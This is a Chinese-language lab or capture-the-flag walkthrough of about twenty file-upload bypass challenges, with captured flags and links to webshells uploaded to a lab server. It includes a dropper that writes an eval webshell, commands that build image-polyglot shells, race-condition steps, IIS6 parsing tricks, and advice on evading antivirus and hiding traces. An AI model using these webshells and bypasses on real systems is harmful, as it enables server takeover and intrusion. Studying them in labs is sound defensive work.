文件上传漏洞

http://59.63.200.79:8016/Pass-01/index.php

  1. 配置 burpsuite, 开启response 拦截

pass-01 前端验证绕过

核心思想: 拦截 response , 删除前端功能模块。

拦截 response。 删除 96 行以后的 js 模块, 并放行。 获取图片地址, 使用 蚁剑 连接

1
2
3
http://59.63.200.79:8016/Pass-01/upload/webshell.php

# flag_kezZYqSU.txt : zkaq{PpsG@-cImaU2cahL}

pass-02 Content-Type方式绕过

上传,拦截,抓包,修改 content-type: text/phpcontent-type: image/jpeg

1
2
3
http://59.63.200.79:8016/Pass-02/upload/webshell.php

# flag_qzdoouIu.txt: zkaq{2jzVjQeRV_EfuA-+}

pass-03 黑名单绕过

1
$deny_ext = array('.asp','.aspx','.php','.jsp');

分析源码, 仅限制了常见后缀。 而, php 还有其他默认带版本的解析后缀。

例如:

1
pht,phpt,phtml,php3,php4,php5,php6

这里使用 webshell.php5

1
2
3
http://59.63.200.79:8016/Pass-03/upload//webshell.php5

# flag_SiZPRmH1.txt: zkaq{lapc=@Hs1EXxqwif}

pass-04 .htaccess文件绕过

.htaccess 是 apache 用来管理目录权限的动态文件, 可以实现目录的黑白名单伪静态默认解析器 等。 同样,在 nginx 中也可以使用, 不过需要手动引入。

当过滤规则无法绕过的时候,可以尝试优先上传一个 .htaccess 设置某类图片文件默认解释器

1
AddType application/x-httpd-php .jpg

1. 上传 .htaccess

2. 上传 jpg 后缀的 php 文件

1
2
3
http://59.63.200.79:8016/Pass-04/upload/webshell.jpg

# flag_x=$ioleC.txt : zkaq{lgevqWqnexX2hy-a}

pass-05 后缀大小写绕过

分析源码, 黑名单后缀通过 枚举 方式列出, 但未转换为小写进行二次比较, 因此出现利用方式

1
2
3
http://59.63.200.79:8016/Pass-05/upload//webshell.pHP

# flag_Pc8u31bi.txt : zkaq{HBkYvhSTYnXLkY@1}

pass-06 文件后缀(空)绕过

文件后缀(空)绕过 利用的是文件上传后,

  1. 未对文件名进行 trim 首尾去空进行判断。
  2. 文件存储时,windows 操作系统首尾去空特性

此法在 linux 上可能不可行。

1
2
3
4
# touch "1.sh "

# ls -al
-rw-r--r--  1 root root    0 Dec 22 23:24 '1.sh '

1
2
3
http://59.63.200.79:8016/Pass-06/upload//webshell.php

# flag_CEHAWzRh.txt : zkaq{fTHte#S@+5n1B+UF}

pass-07 文件后缀(点)绕过

文件后缀点 利用逻辑与 文件后缀空 类似。 windows 将忽略点。

主要原因是windows等系统默认删除文件后缀的.和空格,查看网站源码发现,没有过滤点。

1
2
3
http://59.63.200.79:8016/Pass-07/upload//webshell.php.

# flag_aLiyOhNR.txt : zkaq{2hd2JY3@F7VNMY8W}

pass-08 ::$DATA(Windows文件流绕过

::$DATA 是 windows 特有的绕过漏洞, 利用的是windows 存储机制。

1
2
3
http://59.63.200.79:8016/Pass-08/upload//webshell.php

# flag_m=aH$ViC.txt : zkaq{n5zP@kZia7%dSPP1}

pass-09 构造文件后缀绕过

又名 点空点 绕过。 认真分析代码,

  1. 先去除了
  2. 再去除了
  3. 只执行了一次。

因此, 可以复写 点空 进行绕过。

1
2
3
http://59.63.200.79:8016/Pass-09/upload//webshell.php.

# flag_%#B_SfdG.txt : zkaq{1+U=Tl=%AKS-juZ5}

10 双写文件后缀绕过

代码删除了后缀名中的黑名单字段。 但只执行了一次, 没有进行多次校验。 利用逻辑与 点空点 相似。

1
2
3
http://59.63.200.79:8016/Pass-10/upload//webshell.php

# flag_Wzs%7OQt.txt : zkaq{7aYaRs8IN+9pP=rx}

11 %00 截断绕过

%00 阶段是 php 低版本 5.3.x 中的一个漏洞。 当 PHP 在 URL 中遇到 %00 时, 会认为语句结束而抛弃后面的语句。

1
2
3
4
5
6
http://59.63.200.79:8016/upload/webshell.php%EF%BF%BD/2520201222235046.jpg

# 可利用
http://59.63.200.79:8016/upload/webshell.php

# flag_bNiqD%LB.txt : zkaq{E9JvKGkwMNLDpZRm}

12. %00截断绕过(二)

存储路径 不在 URL 中时, 需要使用 二进制 00 阶段

1. 篡改上传路径, 并多写一个字符 a

2. 使用 hex 工具,将 a 修改为 00

1
2
3
4
5
http://59.63.200.79:8016/upload/webshell.php%EF%BF%BD/3820201222235447.jpg
# 可利用
http://59.63.200.79:8016/upload/webshell.php

# flag_UZ3F-eeb.txt : zkaq{hx5JQH@+OkI_5Fiv}

13. 图片马绕过

图片马制作和利用需要注意的几个事项

1. 制作

  1. 免杀。
  2. 不要破坏图片显示效果。
  3. 图片大小要符合使用逻辑。
  4. 如果渗透语句放在中后段,注意图片不要太大, 避免解释器无法读取

2.利用

  1. 配合其他漏洞渗透利用, 如解析漏洞。
  2. 注意修改上传时间,避免被发现。
  3. 隐藏母马。
1
2
3
4
5
# windows
copy torjan.jpg/b + webshell.php

# linux / mac
cat webshell.php >> torjan.jpg

一张图片不行,换一张再试。

vim 二进制编辑

1
2
3
4
5
6
7
8
vim -b yingtaozi.jpg

## vim 内
%!xxd

# 编辑完
%!xxd -r
:wq

png

gif

png

http://59.63.200.79:8016/Pass-13/upload/7520201223003243.gif
http://59.63.200.79:8016/Pass-13/upload/8020201223003302.jpg
http://59.63.200.79:8016/Pass-13/upload/3420201223003316.png

# flag_Qg=ekeYD.txt : zkaq{h97@y9mvlFD2aaqX}

14. getimagesize图片类型绕过

http://59.63.200.79:8016/Pass-14/upload//2020201223005056.gif
http://59.63.200.79:8016/Pass-14/upload//3020201223005111.png

# flag_g+E9dCHP.txt : zkaq{T4eh66ipeGQzVj1z}
1
2
3
4
5
6
7
<?php
    $types = '.jpeg|.png|.gif';
    $ext = image_type_to_extension($info[2]);

// $info[2] 为 type
    list($width, $height, $type, $attr) = getimagesize("img/flag.jpg");
?>

经测试: 任何 jpg 格式都无法上传。

15. php_exif模块图片类型绕过

上传图片并下载

1
2
3
wget -c http://nul03-b0a.aqlab.cn/Pass-15/upload//4020201223003325.gif
wget -c http://nul03-b0a.aqlab.cn/Pass-15/upload//3020201223003356.jpg
wget -c http://nul03-b0a.aqlab.cn/Pass-15/upload//1520201223003418.png

使用 grep 查看 一句话 是否还在

本题暂无法利用文件解析漏洞, 未获取到 token

源码分析

1
2
3
4
5
6
<?php
    $image_type = exif_imagetype($filename);
    switch ($image_type) {
        case IMAGETYPE_GIF:
            return "gif";
            break;

使用 exif_imagetype 读取文件元数据,获取文件类型信息。

注意:在构造图片马时,不能破坏图片文件元数据信息

16 二次渲染绕过

正常上传文件,获取渲染后的文件,使用二进制打开。获取渲染程序信息

搜索相关文档,进行制马绕过。

结论: 失败, 目前还没找到好的图片和插入点。 所有尝试都无法通过 imagecreatefromjpeg() 方法。

参考文档:

二次上传利用 (坑)

分两步

  1. 上传正常文件,跑完正常逻辑, 获取图片地址。
  2. 【利用】先上传再验证,且验证失败不删除的代码逻辑。 上传图片马覆盖第一步生成的正常文件。
  3. 图片马上传成功。
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
<?php
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
    // 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
    $filename = $_FILES['upload_file']['name'];
    $filetype = $_FILES['upload_file']['type'];
    $tmpname = $_FILES['upload_file']['tmp_name'];

    $target_path=$UPLOAD_ADDR.basename($filename);

    // 获得上传文件的扩展名
    $fileext= substr(strrchr($filename,"."),1);

/* 利用注释: 以上是上传 文件, 获取文件名等, 略过*/

    //判断文件后缀与类型,合法才进行上传操作
    if(($fileext == "jpg") && ($filetype=="image/jpeg")){
        if(move_uploaded_file($tmpname,$target_path))
        {
            //使用上传的图片生成新的图片
            $im = imagecreatefromjpeg($target_path);

            if($im == false){
/* 利用注释: (第二次上传)
					1. 制作图片马, 保存为同名文件。 并点击上传。
					2. 提示非正常图片, imagecreatefromjpeg() 函数不过。 提示报错。

					注意: 当提示本报错的时候。 
					1. 图片已经上传, 【验证失败但未删除】。因此由于【与第一次文件生成文件同名】, 所以【有马覆盖无马】,从而造成利用。
					2. 如果这里有删除逻辑, 可以利用 【条件竞争方式】, 上传母马生成子马。
*/


                $msg = "该文件不是jpg格式的图片!";
            }else{
/* 利用注释: (第一次上传)
						上传一张正常图片, 进行二次编码转换。

						目的:
						获取正常图片名称。
*/

                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".jpg";
                $newimagepath = $UPLOAD_ADDR.$newfilename;
                imagejpeg($im,$newimagepath);
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = $UPLOAD_ADDR.$newfilename;
                unlink($target_path);
                $is_upload = true;
            }
        }
        else
        {
            $msg = "上传失败!";
        }
// 略
>?

gif 制马

flag

1
2
3
http://59.63.200.79:8016/Pass-16/upload/31563.jpg/.php

# flag_4HQdz9RK.txt : zkaq{T68dYEhh5iWwcWs5}

17 文件竞争

利用方式: 上传母马, 在服务器检测、移动、删除过程中。 强行访问母马生成子马。 从而绕过检测。

创建母马

1
2
3
4
<?php
// 生产子马
file_put_contents('2.php','<?php @eval(_REQUEST[8]);?>')
?>

上传

截断,并发送到 intruder 进行攻击

设置 null payloads, 上传次数等

产马

上传任意图片,获取上传地址, 构造请求

http://59.63.200.79:8016/Pass-17/upload/m-horse.php

设置 payload 信息

run

开启以上两个 intruder, 等待结果。

18. 条件竞争2

上传任意图片,提示 上传目录不可写

分析源码, 确认上传流程是先到 临时目录, 在 move 到正式目录。

报错提示为,检查目标文件是否可写的时候触发的。

报错触发此时, 文件已经上传到临时目录。 因此可以使用条件竞争方式,创建子马。

那么, 临时目录又是什么呢?

cls_upload_dir 值为空,

MyUpload function 也没有传入目录。但传入临时文件名。

  • _FILE 产生了一个随机文件名 ??? 那还玩儿什么??

当环境不存在写入问题时, 图片马会通过其他验证, 一直到 move() ,将 临时文件名 改为上传文件

从而满足 条件竞争 的条件

19 move_uploaded_file() 截断

可以自定义文件名,使用 00 截断

使用 hex 将 a 改为 00

1
2
3
http://59.63.200.79:8016/Pass-19/upload//webshell.php?8=phpinfo();

## flag_CaLiXixv.txt : zkaq{FBKf-ufR@-i3FjiM}

20 . IIS6.0解析漏洞(一)

查看代码, 后缀白名单content-type 白名单

抓包 对应修改

1
2
3
http://59.63.200.79:8002/a/image/webshell.asa

# zKaQ-HatBI01Th

21. IIS6.0 解析漏洞(二)

使用 asp 分号断言绕过 ; : webshell.asp;.jpg

1
2
3
http://59.63.200.79:8002/b/image/yingtaozi.asp;.jpg

# zKaQ-Y34Y2ets

21. IIS6.0 解析漏洞(三)

利用 路径 包含 x.asp 的漏洞

1
2
3
http://59.63.200.79:8002/c/image/a.asp/1608724067.jpg

# zKaQ-Y1EHhm0O

22. CGI 漏洞

上传一个图片马, 使用 CGI 漏洞

1
2
3
http://59.63.200.79:8016//Pass-23/upload/ggshell.gif/.php

# zKaQ-1Q2IO0SA